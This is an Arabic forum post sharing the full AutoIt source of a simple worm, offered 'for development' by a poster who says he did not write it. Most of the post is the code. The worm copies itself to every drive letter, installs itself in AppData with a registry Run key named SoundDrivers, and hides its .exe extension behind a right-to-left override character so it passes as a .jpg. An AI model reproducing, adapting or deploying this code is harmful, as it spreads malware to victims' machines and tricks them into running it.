development-point - [ للتطوير ] سورس كود لدودة بسيطة مكتوب بلغة Autoit

http://im37.gulfup.com/u5Dtj.png

http://im32.gulfup.com/7MBcr.png

[ معلومات ]

سورس كود لدودة بسيطة مكتوب بلغة Autoit

خصائص الدودة بعد التكوين :

1- الإنتشار بجميع الأقراص ، من حرف A إلى حرف Z

2- التثبيت في مجلد Startup

* سيكون إسم الدودة بعد الإنتشار SoundDrivers.exe

* سيتم نسخ الدودة إلى مجلد AppData

* ستتم إضافة قيمة إلى الريجستري تحت إسم SoundDrivers في مجلد Run ، تحديداً في هذا المسار
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run

http://im32.gulfup.com/7MBcr.png

[ الفحص ]

فحص الدودة بعد التكوين

http://chk4me.com/check/public/_96w8r1qL5G8uzhVo

http://im32.gulfup.com/7MBcr.png

[ السورس كود ]

كود:

#Region 'Vars'

Dim $Drives[25] ;Will hold info about existing drivers

Dim $Num = 0 ;Number of drivers

Dim $Temp = 65 ;Ascii value of drivers [A to Z]

#endregion





While 1

    startup()

    Spreading()

Wend





#region 'Spreading'

Func Spreading()

$Num = 0

While $Temp <= 90 ;Instead of huge IF statement, using ASCII values to check drivers



    If FileExists(Chr($Temp) & ':\') Then

        $Drives[$Num] = Chr($Temp) & ':\' ;Adding the found driver to array



$Num += 1

    EndIf

    $Temp += 1

Wend



$Temp = 0 ;Reseting Temp so it can be re-used to spread



While  $Temp <= $Num



    If NOT FIleExists($Drives[$Temp] & ExtExploit()) Then

        FileCopy ('SoundDrivers.exe', $Drives[$Temp] & ExtExploit(), 1)

    EndIf

    $Temp += 1

WEnd

EndFunc





Func ExtExploit() ;extension exploit

    $mystring="jpg" ;desired extension

$reverse_string = ""

$string_length = StringLen($mystring)



For $i = 1 to $string_length ;reversing the string... damn you autoit for not making a function!!!

   $last_n_chrs = StringRight($mystring, $i)

   $nth_chr = StringTrimRight($last_n_chrs, $i-1)

   $reverse_string= $reverse_string & $nth_chr

Next



    $Name = "Party Time! at M" & ChrW(8238) & $reverse_string & ".exe"

    return ($Name)

EndFunc

#endregion

Func Startup()

    If NOT FileExists(@AppDataDir & '\SoundDrivers.exe') Then

    FileCopy ('SoundDrivers.exe', @AppDataDir & '/SoundDrivers.exe', 1)

    RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "SoundDrivers", "REG_SZ", @ScriptFullPath)

    EndIf

EndFunc

http://im32.gulfup.com/7MBcr.png

[ ملاحظة ]

السورس كود ليس من كتابتي ، فقد وجدته للتطوير لا أكثر ولا أقل

http://im32.gulfup.com/7MBcr.png